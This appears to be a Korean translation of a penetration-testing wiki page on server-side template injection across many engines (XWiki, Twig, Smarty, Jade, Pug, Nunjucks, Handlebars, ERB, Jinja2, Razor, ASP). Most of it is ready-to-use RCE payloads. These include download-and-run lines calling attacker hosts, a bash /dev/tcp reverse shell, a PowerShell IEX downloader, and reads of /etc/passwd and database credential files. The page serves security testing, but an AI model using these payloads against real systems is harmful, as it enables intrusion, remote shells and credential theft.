XWiki โ‰ค 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) ๋Š” ์ธ์ฆ ์—†์ด Main.SolrSearch ๋งคํฌ๋กœ๋ฅผ ํ†ตํ•ด RSS ๊ฒ€์ƒ‰ ํ”ผ๋“œ๋ฅผ ๋ Œ๋”๋งํ•ฉ๋‹ˆ๋‹ค. ํ•ธ๋“ค๋Ÿฌ๋Š” text ์ฟผ๋ฆฌ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›์•„ ์œ„ํ‚ค ๋ฌธ๋ฒ•์œผ๋กœ ๊ฐ์‹ธ๊ณ  ๋งคํฌ๋กœ๋ฅผ ํ‰๊ฐ€ํ•˜๋ฏ€๋กœ }}} ์ดํ›„์— {{groovy}}๋ฅผ ์ฃผ์ž…ํ•˜๋ฉด JVM์—์„œ ์ž„์˜์˜ Groovy๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

  1. ์ง€๋ฌธ ์‹๋ณ„ ๋ฐ ๋ฒ”์œ„ โ€“ XWiki๊ฐ€ ํ˜ธ์ŠคํŠธ ๊ธฐ๋ฐ˜ ๋ผ์šฐํŒ… ๋’ค์—์„œ ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ๋œ ๊ฒฝ์šฐ, Host ํ—ค๋”๋ฅผ ํผ์ฆˆ(ffuf -u http://<ip> -H "Host: FUZZ.target" ...)ํ•˜์—ฌ ์œ„ํ‚ค vhost๋ฅผ ์ฐพ์€ ๋‹ค์Œ /xwiki/bin/view/Main/ ๋ฅผ ์—ด์–ด ํ‘ธํ„ฐ(XWiki Debian 15.10.8)๋ฅผ ํ™•์ธํ•ด ์ทจ์•ฝํ•œ ๋นŒ๋“œ๋ฅผ ๊ณ ์ •ํ•ฉ๋‹ˆ๋‹ค.
  2. SSTI ์œ ๋ฐœ โ€“ /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20 ๋ฅผ ์š”์ฒญํ•˜์„ธ์š”. RSS ํ•ญ๋ชฉ์˜ <title> ์— Groovy ์ถœ๋ ฅ์ด ๋“ค์–ด๊ฐ‘๋‹ˆ๋‹ค. ํ•ญ์ƒ โ€œURL-encode all charactersโ€ ํ•˜์—ฌ ๊ณต๋ฐฑ์ด %20 ์œผ๋กœ ๋‚จ๊ฒŒ ํ•˜์„ธ์š”; + ๋กœ ๋Œ€์ฒดํ•˜๋ฉด XWiki๊ฐ€ HTTP 500์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.
  3. OS ๋ช…๋ น ์‹คํ–‰ โ€“ Groovy ๋ณธ๋ฌธ์„ {{groovy}}println("id".execute().text){{/groovy}} ๋กœ ๊ต์ฒดํ•˜์„ธ์š”. String.execute() ๋Š” execve() ๋กœ ๋ช…๋ น์„ ์ง์ ‘ ์ƒ์„ฑํ•˜๋ฏ€๋กœ ์‰˜ ๋ฉ”ํƒ€๋ฌธ์ž(|, >, &)๋Š” ํ•ด์„๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋Œ€์‹  ๋‹ค์šด๋กœ๋“œ ํ›„ ์‹คํ–‰ ํŒจํ„ด์„ ์‚ฌ์šฉํ•˜์„ธ์š”:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (์Šคํฌ๋ฆฝํŠธ์— ๋ฆฌ๋ฒ„์Šค ์…ธ ๋กœ์ง ํฌํ•จ).
  1. ์‚ฌํ›„ ์ด์šฉ(ํฌ์ŠคํŠธ ์ต์Šคํ”Œ๋กœ์ž‡) โ€“ XWiki๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ž๊ฒฉ์ฆ๋ช…์„ /etc/xwiki/hibernate.cfg.xml ์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค; hibernate.connection.password ๋ฅผ leak ํ•˜๋ฉด SSH ์žฌ์‚ฌ์šฉ์ด ๊ฐ€๋Šฅํ•œ ์‹ค์ œ ์‹œ์Šคํ…œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์„œ๋น„์Šค ์œ ๋‹›์ด NoNewPrivileges=true ๋กœ ์„ค์ •๋˜์–ด ์žˆ์œผ๋ฉด /bin/su ๊ฐ™์€ ๋„๊ตฌ๊ฐ€ ์œ ํšจํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ๋„ ์ถ”๊ฐ€ ๊ถŒํ•œ์„ ์–ป์ง€ ๋ชปํ•˜๋ฏ€๋กœ, ๋กœ์ปฌ SUID ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์˜์กดํ•˜๊ธฐ๋ณด๋‹ค SSH๋กœ ํ”ผ๋ฒ—ํ•˜์„ธ์š”.

๋™์ผํ•œ ํŽ˜์ด๋กœ๋“œ๋Š” /xwiki/bin/get/Main/SolrSearch ์—์„œ๋„ ์ž‘๋™ํ•˜๊ณ , Groovy stdout์€ ํ•ญ์ƒ RSS title์— ์‚ฝ์ž…๋˜๋ฏ€๋กœ ๋ช…๋ น ์—ด๊ฑฐ๋ฅผ ์Šคํฌ๋ฆฝํŠธํ™”ํ•˜๊ธฐ ์‰ฝ์Šต๋‹ˆ๋‹ค.

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

์ถ”๊ฐ€ ์ •๋ณด

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - ํ…œํ”Œ๋ฆฟ ํ˜•์‹

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

์ถ”๊ฐ€ ์ •๋ณด

Plates (PHP)

Plates๋Š” PHP์— ๋„ค์ดํ‹ฐ๋ธŒํ•œ ํ…œํ”Œ๋ฆฟ ์—”์ง„์œผ๋กœ, Twig์—์„œ ์˜๊ฐ์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ƒˆ๋กœ์šด ๋ฌธ๋ฒ•์„ ๋„์ž…ํ•˜๋Š” Twig์™€ ๋‹ฌ๋ฆฌ, Plates๋Š” ํ…œํ”Œ๋ฆฟ์—์„œ ๋„ค์ดํ‹ฐ๋ธŒ PHP ์ฝ”๋“œ๋ฅผ ํ™œ์šฉํ•˜๋ฏ€๋กœ PHP ๊ฐœ๋ฐœ์ž์—๊ฒŒ ์ง๊ด€์ ์ž…๋‹ˆ๋‹ค.

์ปจํŠธ๋กค๋Ÿฌ:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

ํŽ˜์ด์ง€ ํ…œํ”Œ๋ฆฟ:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

๋ ˆ์ด์•„์›ƒ ํ…œํ”Œ๋ฆฟ:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

๋” ๋งŽ์€ ์ •๋ณด

PHPlib and HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB ๋Š” PHPlib๊ณผ ๋™์ผํ•˜์ง€๋งŒ Pear๋กœ ํฌํŒ…๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

์ถ”๊ฐ€ ์ •๋ณด

๊ธฐํƒ€ PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

์ถ”๊ฐ€ ์ •๋ณด

patTemplate (PHP)

patTemplate ์ปดํŒŒ์ผํ•˜์ง€ ์•Š๋Š” PHP ํ…œํ”Œ๋ฆฟ ์—”์ง„์œผ๋กœ, XML ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•ด ๋ฌธ์„œ๋ฅผ ์—ฌ๋Ÿฌ ๋ถ€๋ถ„์œผ๋กœ ๋‚˜๋ˆ•๋‹ˆ๋‹ค.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

์ถ”๊ฐ€ ์ •๋ณด

Handlebars (NodeJS)

Path Traversal (์ž์„ธํ•œ ์ •๋ณด here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = ์˜ค๋ฅ˜
  • ${7*7} = ${7*7}
  • ์•„๋ฌด๊ฒƒ๋„ ์—†์Œ
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

์ถ”๊ฐ€ ์ •๋ณด

JsRender (NodeJS)

ํ…œํ”Œ๋ฆฟ์„ค๋ช…
์ถœ๋ ฅ์„ ํ‰๊ฐ€ํ•ด ๋ Œ๋”๋ง
HTML ์ธ์ฝ”๋”ฉ๋œ ์ถœ๋ ฅ์„ ํ‰๊ฐ€ํ•ด ๋ Œ๋”๋ง
์ฃผ์„
and์ฝ”๋“œ ํ—ˆ์šฉ (๊ธฐ๋ณธ์ ์œผ๋กœ ๋น„ํ™œ์„ฑํ™”๋จ)
  • = 49

ํด๋ผ์ด์–ธํŠธ ์ธก

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

์„œ๋ฒ„ ์ธก

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

์ถ”๊ฐ€ ์ •๋ณด

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

์„œ๋ฒ„ ์‚ฌ์ด๋“œ ๋ Œ๋” ์˜ˆ์‹œ

var pugjs = require("pug")
home = pugjs.render(injected_page)

์ถ”๊ฐ€ ์ •๋ณด

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = ์ถœ๋ ฅ ์—†์Œ
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = ์˜ค๋ฅ˜
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

์ถ”๊ฐ€ ์ •๋ณด

NodeJS expression sandboxes (vm2 / isolated-vm)

์ผ๋ถ€ ์›Œํฌํ”Œ๋กœ์šฐ ๋นŒ๋”๋Š” ์‚ฌ์šฉ์ž ์ œ์–ด ํ‘œํ˜„์‹์„ Node ์ƒŒ๋“œ๋ฐ•์Šค(vm2, isolated-vm) ๋‚ด๋ถ€์—์„œ ํ‰๊ฐ€ํ•˜์ง€๋งŒ, ํ‘œํ˜„์‹ ์ปจํ…์ŠคํŠธ๊ฐ€ ์—ฌ์ „ํžˆ this.process.mainModule.require๋ฅผ ๋…ธ์ถœํ•œ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” child_process๋ฅผ ๋กœ๋“œํ•˜์—ฌ ์ „์šฉ โ€œExecute Commandโ€ ๋…ธ๋“œ๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด๋„ OS ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

๊ธฐํƒ€ NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

์ถ”๊ฐ€ ์ •๋ณด

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

์ถ”๊ฐ€ ์ •๋ณด

๊ธฐํƒ€ Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์—ฌ python์—์„œ arbitrary command execution bypassing sandboxes์— ๋Œ€ํ•œ ํŠธ๋ฆญ์„ ๋ฐฐ์šฐ์„ธ์š”:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

์ถ”๊ฐ€ ์ •๋ณด

Jinja2 (Python)

Official website

Jinja2๋Š” Python์šฉ์˜ ๊ธฐ๋Šฅ์ด ํ’๋ถ€ํ•œ ํ…œํ”Œ๋ฆฟ ์—”์ง„์ž…๋‹ˆ๋‹ค. ์™„์ „ํ•œ unicode ์ง€์›์„ ์ œ๊ณตํ•˜๋ฉฐ, ์„ ํƒ์ ์ธ ํ†ตํ•ฉ๋œ sandboxed ์‹คํ–‰ ํ™˜๊ฒฝ์„ ๊ฐ–์ถ”๊ณ  ์žˆ๊ณ , ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋ฉฐ BSD ๋ผ์ด์„ ์Šค์ž…๋‹ˆ๋‹ค.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - ํ…œํ”Œ๋ฆฟ ํ˜•์‹

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE์— ์˜์กดํ•˜์ง€ ์•Š๋Š” __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด:

Jinja2 SSTI

๋‹ค๋ฅธ payloads๋Š” https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

์ถ”๊ฐ€ ์ •๋ณด

๊ธฐํƒ€ Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

The .NET System.Diagnostics.Process.Start method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in https://github.com/cnotin/RazorVulnerableApp

์ถ”๊ฐ€ ์ •๋ณด

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

์ถ”๊ฐ€ ์ •๋ณด

.Net ์ œํ•œ ์šฐํšŒ

.NET Reflection ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋ฅผ ์šฐํšŒํ•˜๊ฑฐ๋‚˜ ์–ด์…ˆ๋ธ”๋ฆฌ์— ํด๋ž˜์Šค๊ฐ€ ์—†์„ ๋•Œ ์ด๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. DLL์€ ๋Ÿฐํƒ€์ž„์— ๋กœ๋“œ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ ๊ธฐ๋ณธ ๊ฐ์ฒด์—์„œ ๋ฉ”์„œ๋“œ์™€ ์†์„ฑ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DLL์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - ํŒŒ์ผ์‹œ์Šคํ…œ์—์„œ.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - ์š”์ฒญ์—์„œ ์ง์ ‘.

์ „์ฒด ๋ช…๋ น ์‹คํ–‰:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

์ถ”๊ฐ€ ์ •๋ณด

Mojolicious (Perl)

๋น„๋ก perl์ด์ง€๋งŒ Ruby์˜ ERB์™€ ๊ฐ™์€ ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

In Go์˜ template ์—”์ง„์—์„œ๋Š”, ์‚ฌ์šฉ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • {{ . }}: ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ ์ž…๋ ฅ์„ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, Password ์†์„ฑ์„ ๊ฐ€์ง„ ๊ฐ์ฒด๊ฐ€ ์ „๋‹ฌ๋˜๋ฉด {{ .Password }}๋กœ ๋…ธ์ถœ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • {{printf "%s" "ssti" }}: ๋ฌธ์ž์—ด โ€œsstiโ€œ๋ฅผ ์ถœ๋ ฅํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • {{html "ssti"}}, {{js "ssti"}}: ์ด ํŽ˜์ด๋กœ๋“œ๋“ค์€ โ€œhtmlโ€œ์ด๋‚˜ โ€œjsโ€œ๋ฅผ ๋ง๋ถ™์ด์ง€ ์•Š๊ณ  โ€œsstiโ€œ๋ฅผ ๋ฐ˜ํ™˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ถ”๊ฐ€ ์ง€์‹œ๋ฌธ์€ Go ๋ฌธ์„œ here์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

text/template ํŒจํ‚ค์ง€์—์„œ๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ง์ ‘ ์‚ฝ์ž…ํ•˜๋ฉด XSS๊ฐ€ ๊ฐ„๋‹จํžˆ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋ฉด html/template ํŒจํ‚ค์ง€๋Š” ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์‘๋‹ต์„ ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: {{"<script>alert(1)</script>"}}๋Š” &lt;script&gt;alert(1)&lt;/script&gt;๊ฐ€ ๋ฉ๋‹ˆ๋‹ค). ๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  Go์—์„œ์˜ ํ…œํ”Œ๋ฆฟ ์ •์˜์™€ ํ˜ธ์ถœ์€ ์ด ์ธ์ฝ”๋”ฉ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: {{define โ€œT1โ€}}alert(1){{end}} {{template โ€œT1โ€}}

vbnet Copy code

RCE Exploitation

RCE ์ต์Šคํ”Œ๋กœ์ž‡์€ html/template๊ณผ text/template ์‚ฌ์ด์—์„œ ํฌ๊ฒŒ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. text/template ๋ชจ๋“ˆ์€ (โ€œcallโ€ ๊ฐ’์„ ์‚ฌ์šฉํ•ด) ์ž„์˜์˜ ๊ณต๊ฐœ ํ•จ์ˆ˜๋ฅผ ์ง์ ‘ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, html/template์—์„œ๋Š” ํ—ˆ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋“ค ๋ชจ๋“ˆ์— ๋Œ€ํ•œ ๋ฌธ์„œ๋Š” here for html/template ๋ฐ here for text/template์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

